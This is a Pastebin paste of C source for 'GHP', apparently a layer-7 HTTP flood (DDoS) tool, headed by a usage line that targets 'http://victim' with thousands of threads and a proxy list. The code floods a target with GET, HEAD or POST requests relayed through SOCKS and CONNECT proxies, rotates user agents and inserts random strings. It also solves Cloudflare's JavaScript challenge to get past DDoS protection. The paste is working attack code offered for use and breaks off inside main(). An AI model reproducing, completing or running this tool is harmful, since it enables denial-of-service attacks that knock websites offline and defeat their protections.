Advertisement
TP2K1

ghp.c GHP (Get / Head / Post ) Layer 7

May 30th, 2015
2,108
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 39.11 KB | None | 0 0
  1. How To use: http://victim GET 5000 proxies.txt 3600 0 %random%
  2.  
  3. /*
  4. * This is released under the GNU GPL License v3.0, and is allowed to be used for commercial products ;)
  5. */
  6. #include <unistd.h>
  7. #include <time.h>
  8. #include <sys/types.h>
  9. #include <sys/socket.h>
  10. #include <sys/resource.h>
  11. #include <sys/ioctl.h>
  12. #include <string.h>
  13. #include <stdlib.h>
  14. #include <stdio.h>
  15. #include <signal.h>
  16. #include <pthread.h>
  17. #include <netinet/udp.h>
  18. #include <netinet/tcp.h>
  19. #include <netinet/ip.h>
  20. #include <netinet/in.h>
  21. #include <netinet/if_ether.h>
  22. #include <netdb.h>
  23. #include <net/if.h>
  24. #include <ctype.h>
  25. #include <arpa/inet.h>
  26.  
  27. #define RND_CHAR (char)((rand() % 26)+97)
  28.  
  29. char *useragents[] = {
  30. "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:13.0) Gecko/20100101 Firefox/13.0.1",
  31. "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5",
  32. "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.47 Safari/536.11",
  33. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_4) AppleWebKit/534.57.2 (KHTML, like Gecko) Version/5.1.7 Safari/534.57.2",
  34. "Mozilla/5.0 (Windows NT 5.1; rv:13.0) Gecko/20100101 Firefox/13.0.1",
  35. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_4) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.47 Safari/536.11",
  36. "Mozilla/5.0 (Windows NT 6.1; rv:13.0) Gecko/20100101 Firefox/13.0.1",
  37. "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5",
  38. "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)",
  39. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.7; rv:13.0) Gecko/20100101 Firefox/13.0.1",
  40. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_4) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5",
  41. "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.47 Safari/536.11",
  42. "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5",
  43. "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.47 Safari/536.11",
  44. "Mozilla/5.0 (Linux; U; Android 2.2; fr-fr; Desire_A8181 Build/FRF91) App3leWebKit/53.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1",
  45. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:13.0) Gecko/20100101 Firefox/13.0.1",
  46. "Mozilla/5.0 (iPhone; CPU iPhone OS 5_1_1 like Mac OS X) AppleWebKit/534.46 (KHTML, like Gecko) Version/5.1 Mobile/9B206 Safari/7534.48.3",
  47. "Mozilla/4.0 (compatible; MSIE 6.0; MSIE 5.5; Windows NT 5.0) Opera 7.02 Bork-edition [en]",
  48. "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:12.0) Gecko/20100101 Firefox/12.0",
  49. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/534.57.2 (KHTML, like Gecko) Version/5.1.7 Safari/534.57.2",
  50. "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6",
  51. "Mozilla/5.0 (iPad; CPU OS 5_1_1 like Mac OS X) AppleWebKit/534.46 (KHTML, like Gecko) Version/5.1 Mobile/9B206 Safari/7534.48.3",
  52. "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; FunWebProducts; .NET CLR 1.1.4322; PeoplePal 6.2)",
  53. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.47 Safari/536.11",
  54. "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)",
  55. "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.57 Safari/536.11",
  56. "Mozilla/5.0 (Windows NT 5.1; rv:5.0.1) Gecko/20100101 Firefox/5.0.1",
  57. "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)",
  58. "Mozilla/5.0 (Windows NT 6.1; rv:5.0) Gecko/20100101 Firefox/5.02",
  59. "Opera/9.80 (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60",
  60. "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:5.0) Gecko/20100101 Firefox/5.0",
  61. "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)",
  62. "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322)",
  63. "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; .NET CLR 3.5.30729)",
  64. "Mozilla/5.0 (Windows NT 6.0) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.112 Safari/535.1",
  65. "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:13.0) Gecko/20100101 Firefox/13.0.1",
  66. "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.112 Safari/535.1",
  67. "Mozilla/5.0 (Windows NT 6.1; rv:2.0b7pre) Gecko/20100921 Firefox/4.0b7pre",
  68. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5",
  69. "Mozilla/5.0 (Windows NT 5.1; rv:12.0) Gecko/20100101 Firefox/12.0",
  70. "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)",
  71. "Mozilla/5.0 (Windows NT 6.1; rv:12.0) Gecko/20100101 Firefox/12.0",
  72. "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; MRA 5.8 (build 4157); .NET CLR 2.0.50727; AskTbPTV/5.11.3.15590)",
  73. "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:13.0) Gecko/20100101 Firefox/13.0.1",
  74. "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)",
  75. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_4) AppleWebKit/534.57.5 (KHTML, like Gecko) Version/5.1.7 Safari/534.57.4",
  76. "Mozilla/5.0 (Windows NT 6.0; rv:13.0) Gecko/20100101 Firefox/13.0.1",
  77. "Mozilla/5.0 (Windows NT 6.0; rv:13.0) Gecko/20100101 Firefox/13.0.1",
  78. };
  79. #define ATTACKPORT 80
  80. char *postformat = "%s /%s HTTP/1.1\r\nHost: %s\r\nUser-Agent: #useragent#\r\nConnection: close\r\n#cookies#%s\r\n%s";
  81. char *postpayload;
  82. struct urlparts {
  83. char * name;
  84. char separator[4];
  85. char value[128];
  86. } parts[] = {
  87. { "scheme", ":" },
  88. { "userid", "@" },
  89. { "password", ":" },
  90. { "host", "//" },
  91. { "port", ":" },
  92. { "path", "/" },
  93. { "param", ";" },
  94. { "fragment", "#" }
  95. };
  96. enum partnames { scheme = 0, userid, password, host, port, path, param, query, fragment } ;
  97. #define NUMPARTS (sizeof parts / sizeof (struct urlparts))
  98. struct urlparts *returnparts[8];
  99. struct urllist { char *url; int done; struct urllist *next; struct urllist *prev; };
  100. struct proxy { char *type; char *ip; int port; int working; };
  101. struct list { struct proxy *data; char *useragent; struct list *next; struct list *prev; };
  102. struct list *head = NULL;
  103. char parseError[128];
  104. int parseURL(char *url, struct urlparts **returnpart);
  105. char * strsplit(char * s, char * tok);
  106. char firstpunc(char *s);
  107. int strleft(char * s, int n);
  108. void setupparts();
  109. void freeparts();
  110. char *stristr(const char *String, const char *Pattern);
  111. char *str_replace(char *orig, char *rep, char *with);
  112. char *geturl(char *url, char *useragent, char *ip);
  113. int evalmath(char *input);
  114. char *ipstr;
  115. char *urll;
  116. static int rps = 0;
  117. pthread_mutex_t parts_mutex = PTHREAD_MUTEX_INITIALIZER;
  118.  
  119. void removeSubstring(char *s,const char *toremove)
  120. {
  121. while( s=strstr(s,toremove) )
  122. {
  123. memmove(s,s+strlen(toremove),1+strlen(s+strlen(toremove)));
  124. }
  125. }
  126.  
  127.  
  128. void *flood(void *par) {
  129. struct list *startpoint = (struct list *)par;
  130. int i;
  131. struct sockaddr_in serverAddr;
  132. signal(SIGPIPE, SIG_IGN);
  133. char *cookies = malloc(10240);
  134. memset(cookies, 0, 10240);
  135.  
  136. while(1)
  137. {
  138. int sent = 0;
  139. if(startpoint->data->working == 0)
  140. {
  141. startpoint = startpoint->next;
  142. continue;
  143. }
  144.  
  145. memset(&serverAddr, 0, sizeof(serverAddr));
  146. serverAddr.sin_family = AF_INET;
  147. serverAddr.sin_port = htons(startpoint->data->port);
  148. serverAddr.sin_addr.s_addr = inet_addr(startpoint->data->ip);
  149. int serverSocket = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);
  150. u_int yes=1;
  151. if (setsockopt(serverSocket,SOL_SOCKET,SO_REUSEADDR,&yes,sizeof(yes)) < 0) {}
  152. if(connect(serverSocket, (struct sockaddr *)&serverAddr, sizeof(serverAddr)) > 0)
  153. {
  154. startpoint->data->working = 0;
  155. startpoint = startpoint->next;
  156. continue;
  157. }
  158. if(strcmp(startpoint->data->type, "Socks4")==0)
  159. {
  160. unsigned char buf[10];
  161. buf[0] = 0x04;
  162. buf[1] = 0x01;
  163. *(unsigned short*)&buf[2] = htons(ATTACKPORT);
  164. *(unsigned long*)&buf[4] = inet_addr(ipstr);
  165. buf[8] = 0x00;
  166. if(send(serverSocket, buf, 9, MSG_NOSIGNAL) != 9)
  167. {
  168. startpoint->data->working = 0;
  169. startpoint = startpoint->next;
  170. close(serverSocket);
  171. continue;
  172. }
  173. }
  174. if(strcmp(startpoint->data->type, "Socks5")==0)
  175. {
  176. unsigned char buf[20];
  177. buf[0] = 0x05;
  178. buf[1] = 0x01;
  179. buf[2] = 0x00;
  180. if((sent = send(serverSocket, buf, 3, MSG_NOSIGNAL)) < 0)
  181. {
  182. startpoint->data->working = 0;
  183. startpoint = startpoint->next;
  184. close(serverSocket);
  185. continue;
  186. }
  187. buf[0] = 0x05;
  188. buf[1] = 0x01;
  189. buf[2] = 0x00;
  190. buf[3] = 0x01;
  191. *(unsigned long*)&buf[4] = inet_addr(ipstr);
  192. *(unsigned short*)&buf[8] = htons(ATTACKPORT);
  193. if((sent = send(serverSocket, buf, 10, MSG_NOSIGNAL)) < 0)
  194. {
  195. startpoint->data->working = 0;
  196. startpoint = startpoint->next;
  197. close(serverSocket);
  198. continue;
  199. }
  200. }
  201. if(strcmp(startpoint->data->type, "CONNECT") == 0 || strcmp(startpoint->data->type, "TUNNEL") == 0)
  202. {
  203. char *connectrequest = malloc(1024);
  204. bzero(connectrequest, 1024);
  205. sprintf(connectrequest, "CONNECT %s:80 HTTP/1.0\r\n\r\n", ipstr);
  206. if((sent = send(serverSocket, connectrequest, strlen(connectrequest), MSG_NOSIGNAL)) < 0)
  207. {
  208. startpoint->data->working = 0;
  209. startpoint = startpoint->next;
  210. close(serverSocket);
  211. continue;
  212. }
  213. char *recvbuf = malloc(1024);
  214. bzero(recvbuf, 1024);
  215. int gotbytes = recv(serverSocket, recvbuf, 1024, 0);
  216. if(gotbytes < 1)
  217. {
  218. startpoint->data->working = 0;
  219. startpoint = startpoint->next;
  220. close(serverSocket);
  221. continue;
  222. }
  223. free(recvbuf);
  224. }
  225. char *httpprepayload = str_replace(postpayload, "#useragent#", startpoint->useragent);
  226. if(httpprepayload == NULL)
  227. {
  228. startpoint = startpoint->next;
  229. close(serverSocket);
  230. continue;
  231. }
  232. char *httppayload = NULL;
  233. if(strlen(cookies)>0)
  234. {
  235. httppayload = str_replace(httpprepayload, "#cookies#", cookies);
  236. if(httppayload == NULL)
  237. {
  238. startpoint = startpoint->next;
  239. close(serverSocket);
  240. continue;
  241. }
  242. free(httpprepayload);
  243. } else {
  244. removeSubstring(httpprepayload, "#cookies#");
  245. httppayload = httpprepayload;
  246. }
  247. char *tmp = NULL;
  248. char *lastrandom = malloc(16);
  249. bzero(lastrandom, 16);
  250. while((tmp = strstr(httppayload, "ANDOM%"))!=NULL)
  251. {
  252. if(*(tmp-1) == 0x4C)
  253. {
  254. strncpy(tmp-2, lastrandom, 8);
  255. } else
  256. {
  257. *(tmp-2) = RND_CHAR;
  258. *(tmp-1) = RND_CHAR;
  259. *(tmp) = RND_CHAR;
  260. *(tmp+1) = RND_CHAR;
  261. *(tmp+2) = RND_CHAR;
  262. *(tmp+3) = RND_CHAR;
  263. *(tmp+4) = RND_CHAR;
  264. *(tmp+5) = RND_CHAR;
  265. strncpy(lastrandom, tmp-2, 8);
  266. }
  267.  
  268. }
  269. send(serverSocket, httppayload, strlen(httppayload), MSG_NOSIGNAL);
  270. free(httppayload);
  271. int bytes = 0;
  272. int total = 0;
  273. int currentsize = 4096;
  274. char *buffer = malloc(4096);
  275. bzero(buffer, 4096);
  276. bytes = recv(serverSocket, buffer, 4096, 0);
  277. while(bytes > 0)
  278. {
  279. total += bytes;
  280. if(total+4096 > currentsize)
  281. {
  282. char *new_buffer = malloc(total+4097);
  283. bzero(new_buffer, total+4097);
  284. memcpy(new_buffer, buffer, total);
  285. free(buffer);
  286. buffer = new_buffer;
  287. currentsize = total+4096;
  288. }
  289. bytes = recv(serverSocket, buffer+total, 4096, 0);
  290. }
  291. if(strstr(buffer, "\r\n\r\n")==NULL)
  292. {
  293. free(buffer);
  294. startpoint = startpoint->next;
  295. close(serverSocket);
  296. continue;
  297. }
  298. char *headerstatus = malloc(strstr(buffer, "\r\n\r\n") - buffer + 3);
  299. memcpy(headerstatus, buffer, strstr(buffer, "\r\n\r\n") - buffer + 2);
  300. char *body = buffer + (strstr(buffer, "\r\n\r\n") - buffer + 2) + 2;
  301. char *headers = strstr(headerstatus, "\r\n")+2;
  302. if(stristr(body, "DDoS protection by CloudFlare") != NULL && stristr(body, "ChallengeForm") != NULL && stristr(body, "('#jschl_answer').val") != NULL && stristr(body, "jschl_vc") != NULL)
  303. {
  304. close(serverSocket);
  305. //we are pretty sure its a CF block page at this point
  306. char *formstart = stristr(body, "<form")+5;
  307. char *formend = stristr(formstart, "</form");
  308. char *action = stristr(formstart, "action=");
  309. char *actionname = NULL;
  310. if(action == NULL || action > formend)
  311. {
  312. actionname = urll;
  313. } else {
  314. char *actionstart = action;
  315. if(strchr(actionstart, '"') != NULL && strchr(actionstart, '>') > strchr(actionstart, '"'))
  316. {
  317. actionstart = strchr(action, '"')+1;
  318. actionname = malloc(strchr(actionstart, '"') - actionstart + 1);
  319. bzero(actionname, strchr(actionstart, '"') - actionstart + 1);
  320. strncpy(actionname, actionstart, strchr(actionstart, '"') - actionstart);
  321. } else if(strchr(actionstart, '\'') != NULL && strchr(actionstart, '>') > strchr(actionstart, '\''))
  322. {
  323. actionstart = strchr(action, '\'')+1;
  324. actionname = malloc(strchr(actionstart, '\'') - actionstart + 1);
  325. bzero(actionname, strchr(actionstart, '\'') - actionstart + 1);
  326. strncpy(actionname, actionstart, strchr(actionstart, '\'') - actionstart);
  327. } else {
  328. char *end = NULL;
  329. if(strchr(actionstart, ' ') > strchr(actionstart, '>'))
  330. {
  331. end = strchr(actionstart, '>');
  332. } else {
  333. end = strchr(actionstart, ' ');
  334. }
  335. actionname = malloc(end - action + 1);
  336. bzero(actionname, end - action + 1);
  337. strncpy(actionname, action, end - action);
  338. }
  339. }
  340. if(strcmp(actionname, "") == 0)
  341. {
  342. free(actionname);
  343. actionname = urll;
  344. }
  345. char *magiccookiestart = stristr(formstart, "name=\"jschl_vc\" value=\"");
  346. if(magiccookiestart==NULL)
  347. {
  348. free(headerstatus);
  349. free(buffer);
  350. close(serverSocket);
  351. startpoint = startpoint->next;
  352. continue;
  353. }
  354. magiccookiestart = magiccookiestart+strlen("name=\"jschl_vc\" value=\"");
  355. char *magiccookie = malloc((stristr(magiccookiestart, "\"")+1)-magiccookiestart+1);
  356. memset(magiccookie, 0, (stristr(magiccookiestart, "\"")+1)-magiccookiestart+1);
  357. strncpy(magiccookie, magiccookiestart, stristr(magiccookiestart, "\"")-magiccookiestart);
  358.  
  359. char *magicsumstart = stristr(body, "('#jschl_answer').val(");
  360. if(magicsumstart==NULL)
  361. {
  362. free(magiccookie);
  363. free(headerstatus);
  364. free(buffer);
  365. close(serverSocket);
  366. startpoint = startpoint->next;
  367. continue;
  368. }
  369. magicsumstart = magicsumstart+strlen("('#jschl_answer').val(");
  370. char *temp = malloc(1024);
  371. memset(temp, 0, 1024);
  372. strncpy(temp, magicsumstart, strstr(magicsumstart, ")")-magicsumstart);
  373. magicsumstart = temp;
  374.  
  375. int sum = 0;
  376. sum = evalmath(magicsumstart);
  377.  
  378. char *verifydata = malloc(1024);
  379. memset(verifydata, 0, 1024);
  380. strcat(verifydata, "act=jschl&jschl_vc=");
  381. strcat(verifydata, magiccookie);
  382. strcat(verifydata, "&jschl_answer=");
  383. char *sumstring = malloc(100);
  384. memset(sumstring, 0, 100);
  385. sprintf(sumstring, "%d", sum);
  386. strcat(verifydata, sumstring);
  387.  
  388. free(sumstring);
  389. char *verifypost = malloc(4096);
  390. memset(verifypost, 0, 4096);
  391. free(buffer);
  392. free(magicsumstart);
  393. free(magiccookie);
  394.  
  395. char *cookit = NULL;
  396. memset(cookies, 0, 10240);
  397. strcpy(cookies, "Cookie: ");
  398. int offset = 0;
  399. while(stristr(headers+offset, "Set-Cookie: ") != NULL)
  400. {
  401. cookit = stristr(headers, "Set-Cookie: ")+strlen("Set-Cookie: ");
  402. char *cookitend = stristr(cookit, "\r\n")>stristr(cookit, ";") ? stristr(cookit, ";") : stristr(cookit, "\r\n");
  403. if(cookitend-cookit<1)
  404. {
  405. continue;
  406. }
  407. char *temp = malloc((cookitend-cookit)+3);
  408. bzero(temp, (cookitend-cookit)+3);
  409. strncpy(temp, cookit, cookitend-cookit);
  410. strcat(temp, "; ");
  411. if(strstr(cookies, temp)==NULL)
  412. {
  413. strncpy(cookies+strlen(cookies), temp, strlen(temp));
  414. }
  415. offset += strstr(cookit, "\r\n")-cookit;
  416. }
  417. strcat(cookies, "\r\n");
  418. free(headerstatus);
  419.  
  420. pthread_mutex_lock(&parts_mutex);
  421. setupparts();
  422. parseURL(actionname, returnparts);
  423. char *herpderp = "POST /%s HTTP/1.1\r\nHost: %s\r\nUser-Agent: %s\r\nConnection: close\r\n%sContent-Type: application/x-www-form-urlencoded\r\nContent-Length: %d\r\n\r\n%s";
  424. sprintf(verifypost, herpderp, returnparts[path]->value, returnparts[host]->value, startpoint->useragent, cookies, strlen(verifydata), verifydata);
  425. freeparts();
  426. free(verifydata);
  427. pthread_mutex_unlock(&parts_mutex);
  428.  
  429. memset(&serverAddr, 0, sizeof(serverAddr));
  430. serverAddr.sin_family = AF_INET;
  431. serverAddr.sin_port = htons(startpoint->data->port);
  432. serverAddr.sin_addr.s_addr = inet_addr(startpoint->data->ip);
  433. serverSocket = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);
  434. yes=1;
  435. if (setsockopt(serverSocket,SOL_SOCKET,SO_REUSEADDR,&yes,sizeof(yes)) < 0) {}
  436.  
  437. if(connect(serverSocket, (struct sockaddr *)&serverAddr, sizeof(serverAddr)) > 0)
  438. {
  439. startpoint->data->working = 0;
  440. startpoint = startpoint->next;
  441. continue;
  442. }
  443. if(strcmp(startpoint->data->type, "Socks4")==0)
  444. {
  445. unsigned char buf[10];
  446. buf[0] = 0x04;
  447. buf[1] = 0x01;
  448. *(unsigned short*)&buf[2] = htons(ATTACKPORT);
  449. *(unsigned long*)&buf[4] = inet_addr(ipstr);
  450. buf[8] = 0x00;
  451. if(send(serverSocket, buf, 9, MSG_NOSIGNAL) != 9)
  452. {
  453. startpoint->data->working = 0;
  454. startpoint = startpoint->next;
  455. close(serverSocket);
  456. continue;
  457. }
  458. }
  459. if(strcmp(startpoint->data->type, "Socks5")==0)
  460. {
  461. unsigned char buf[20];
  462. buf[0] = 0x05;
  463. buf[1] = 0x01;
  464. buf[2] = 0x00;
  465. if((sent = send(serverSocket, buf, 3, MSG_NOSIGNAL)) < 0)
  466. {
  467. startpoint->data->working = 0;
  468. startpoint = startpoint->next;
  469. close(serverSocket);
  470. continue;
  471. }
  472. buf[0] = 0x05;
  473. buf[1] = 0x01;
  474. buf[2] = 0x00;
  475. buf[3] = 0x01;
  476. *(unsigned long*)&buf[4] = inet_addr(ipstr);
  477. *(unsigned short*)&buf[8] = htons(ATTACKPORT);
  478. if((sent = send(serverSocket, buf, 10, MSG_NOSIGNAL)) < 0)
  479. {
  480. startpoint->data->working = 0;
  481. startpoint = startpoint->next;
  482. close(serverSocket);
  483. continue;
  484. }
  485. }
  486. if(strcmp(startpoint->data->type, "CONNECT") == 0 || strcmp(startpoint->data->type, "TUNNEL") == 0)
  487. {
  488. char *connectrequest = malloc(1024);
  489. bzero(connectrequest, 1024);
  490. sprintf(connectrequest, "CONNECT %s:80 HTTP/1.0\r\n\r\n", ipstr);
  491. if((sent = send(serverSocket, connectrequest, strlen(connectrequest), MSG_NOSIGNAL)) < 0)
  492. {
  493. startpoint->data->working = 0;
  494. startpoint = startpoint->next;
  495. close(serverSocket);
  496. continue;
  497. }
  498. char *recvbuf = malloc(1024);
  499. bzero(recvbuf, 1024);
  500. int gotbytes = recv(serverSocket, recvbuf, 1024, 0);
  501. if(gotbytes < 1)
  502. {
  503. startpoint->data->working = 0;
  504. startpoint = startpoint->next;
  505. close(serverSocket);
  506. continue;
  507. }
  508. free(recvbuf);
  509. }
  510. send(serverSocket, verifypost, strlen(verifypost), MSG_NOSIGNAL);
  511. free(verifypost);
  512. bytes = 0;
  513. buffer = malloc(4097);
  514. bzero(buffer, 4097);
  515. bytes = recv(serverSocket, buffer, 4096, 0);
  516. while(bytes > 0)
  517. {
  518. total += bytes;
  519. if(total+4096 > currentsize)
  520. {
  521. char *new_buffer = malloc(total+4097);
  522. bzero(new_buffer, total+4097);
  523. memcpy(new_buffer, buffer, total);
  524. free(buffer);
  525. buffer = new_buffer;
  526. currentsize = total+4096;
  527. }
  528. bytes = recv(serverSocket, buffer+total, 4096, 0);
  529. }
  530. if(strstr(buffer, "\r\n\r\n")==NULL)
  531. {
  532. free(buffer);
  533. startpoint = startpoint->next;
  534. close(serverSocket);
  535. continue;
  536. }
  537.  
  538. headerstatus = malloc(strstr(buffer, "\r\n\r\n") - buffer + 3);
  539. memcpy(headerstatus, buffer, strstr(buffer, "\r\n\r\n") - buffer + 2);
  540. body = buffer + (strstr(buffer, "\r\n\r\n") - buffer + 2) + 2;
  541. headers = stristr(headerstatus, "\r\n")+2;
  542. char *cookoff = strstr(cookies, "\r\n");
  543. if(cookoff == NULL)
  544. {
  545. free(headerstatus);
  546. free(buffer);
  547. startpoint = startpoint->next;
  548. close(serverSocket);
  549. continue;
  550. }
  551. offset = 0;
  552. while(stristr(headers+offset, "Set-Cookie: ") != NULL)
  553. {
  554. cookit = stristr(headers, "Set-Cookie: ")+strlen("Set-Cookie: ");
  555. char *cookitend = stristr(cookit, "\r\n")>stristr(cookit, ";") ? stristr(cookit, ";") : stristr(cookit, "\r\n");
  556. char *cookiesend = strstr(cookies, "\r\n");
  557. if(cookitend-cookit<1)
  558. {
  559. continue;
  560. }
  561. char *temp = malloc((cookitend-cookit)+3);
  562. bzero(temp, (cookitend-cookit)+1);
  563. strncpy(temp, cookit, cookitend-cookit);
  564. strcat(temp, "; ");
  565. if(strstr(cookies, temp)==NULL)
  566. {
  567. strncpy(cookies+(cookiesend-cookies), temp, strlen(temp));
  568. strcat(cookies, "\r\n");
  569. }
  570. offset += strstr(cookit, "\r\n")-cookit;
  571. }
  572. close(serverSocket);
  573.  
  574. memset(&serverAddr, 0, sizeof(serverAddr));
  575. serverAddr.sin_family = AF_INET;
  576. serverAddr.sin_port = htons(startpoint->data->port);
  577. serverAddr.sin_addr.s_addr = inet_addr(startpoint->data->ip);
  578. serverSocket = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);
  579. yes=1;
  580. if (setsockopt(serverSocket,SOL_SOCKET,SO_REUSEADDR,&yes,sizeof(yes)) < 0) {}
  581. if(connect(serverSocket, (struct sockaddr *)&serverAddr, sizeof(serverAddr)) > 0)
  582. {
  583. startpoint->data->working = 0;
  584. startpoint = startpoint->next;
  585. continue;
  586. }
  587. if(strcmp(startpoint->data->type, "Socks4")==0)
  588. {
  589. unsigned char buf[10];
  590. buf[0] = 0x04;
  591. buf[1] = 0x01;
  592. *(unsigned short*)&buf[2] = htons(ATTACKPORT);
  593. *(unsigned long*)&buf[4] = inet_addr(ipstr);
  594. buf[8] = 0x00;
  595. if(send(serverSocket, buf, 9, MSG_NOSIGNAL) != 9)
  596. {
  597. startpoint->data->working = 0;
  598. startpoint = startpoint->next;
  599. close(serverSocket);
  600. continue;
  601. }
  602. }
  603. if(strcmp(startpoint->data->type, "Socks5")==0)
  604. {
  605. unsigned char buf[20];
  606. buf[0] = 0x05;
  607. buf[1] = 0x01;
  608. buf[2] = 0x00;
  609. if((sent = send(serverSocket, buf, 3, MSG_NOSIGNAL)) < 0)
  610. {
  611. startpoint->data->working = 0;
  612. startpoint = startpoint->next;
  613. close(serverSocket);
  614. continue;
  615. }
  616. buf[0] = 0x05;
  617. buf[1] = 0x01;
  618. buf[2] = 0x00;
  619. buf[3] = 0x01;
  620. *(unsigned long*)&buf[4] = inet_addr(ipstr);
  621. *(unsigned short*)&buf[8] = htons(ATTACKPORT);
  622. if((sent = send(serverSocket, buf, 10, MSG_NOSIGNAL)) < 0)
  623. {
  624. startpoint->data->working = 0;
  625. startpoint = startpoint->next;
  626. close(serverSocket);
  627. continue;
  628. }
  629. }
  630. if(strcmp(startpoint->data->type, "CONNECT") == 0 || strcmp(startpoint->data->type, "TUNNEL") == 0)
  631. {
  632. char *connectrequest = malloc(1024);
  633. bzero(connectrequest, 1024);
  634. sprintf(connectrequest, "CONNECT %s:80 HTTP/1.0\r\n\r\n", ipstr);
  635. if((sent = send(serverSocket, connectrequest, strlen(connectrequest), MSG_NOSIGNAL)) < 0)
  636. {
  637. startpoint->data->working = 0;
  638. startpoint = startpoint->next;
  639. close(serverSocket);
  640. continue;
  641. }
  642. char *recvbuf = malloc(1024);
  643. bzero(recvbuf, 1024);
  644. int gotbytes = recv(serverSocket, recvbuf, 1024, 0);
  645. if(gotbytes < 1)
  646. {
  647. startpoint->data->working = 0;
  648. startpoint = startpoint->next;
  649. close(serverSocket);
  650. continue;
  651. }
  652. free(recvbuf);
  653. }
  654. httpprepayload = str_replace(postpayload, "#useragent#", startpoint->useragent);
  655. if(httpprepayload == NULL)
  656. {
  657. startpoint = startpoint->next;
  658. close(serverSocket);
  659. continue;
  660. }
  661. httppayload = NULL;
  662. if(strlen(cookies)>0)
  663. {
  664. httppayload = str_replace(httpprepayload, "#cookies#", cookies);
  665. if(httppayload == NULL)
  666. {
  667. startpoint = startpoint->next;
  668. close(serverSocket);
  669. continue;
  670. }
  671. free(httpprepayload);
  672. } else {
  673. removeSubstring(httpprepayload, "#cookies#");
  674. httppayload = httpprepayload;
  675. }
  676. tmp = NULL;
  677. lastrandom = malloc(16);
  678. bzero(lastrandom, 16);
  679. while((tmp = strstr(httppayload, "ANDOM%"))!=NULL)
  680. {
  681. if(*(tmp-1) == 0x4C)
  682. {
  683. strncpy(tmp-2, lastrandom, 8);
  684. } else
  685. {
  686. *(tmp-2) = RND_CHAR;
  687. *(tmp-1) = RND_CHAR;
  688. *(tmp) = RND_CHAR;
  689. *(tmp+1) = RND_CHAR;
  690. *(tmp+2) = RND_CHAR;
  691. *(tmp+3) = RND_CHAR;
  692. *(tmp+4) = RND_CHAR;
  693. *(tmp+5) = RND_CHAR;
  694. strncpy(lastrandom, tmp-2, 8);
  695. }
  696.  
  697. }
  698. send(serverSocket, httppayload, strlen(httppayload), MSG_NOSIGNAL);
  699. free(httppayload);
  700. bytes = 0;
  701. buffer = malloc(4096);
  702. bytes = recv(serverSocket, buffer, 4096, 0);
  703. while(bytes > 0)
  704. {
  705. bzero(buffer, 4096);
  706. bytes = recv(serverSocket, buffer, 4096, 0);
  707. }
  708. }
  709. free(headerstatus);
  710. free(buffer);
  711. close(serverSocket);
  712. rps++;
  713. usleep(30000);
  714. startpoint = startpoint->next;
  715. }
  716. }
  717. pthread_t **threads = NULL;
  718. int main(int argc, char *argv[ ]) {
  719. if(argc < 6 || !canRun()){
  720. fprintf(stderr, "Invalid parameters!\n");
  721. fprintf(stdout, "Usage: %s <target url> <method (GET or HEAD or POST)> <number threads to use> <proxy list> <time> [manual ip (0 to disable)] [post parameters (%RANDOM% will be replaced with random shit)]\n", argv[0]);
  722. exit(-1);
  723. }
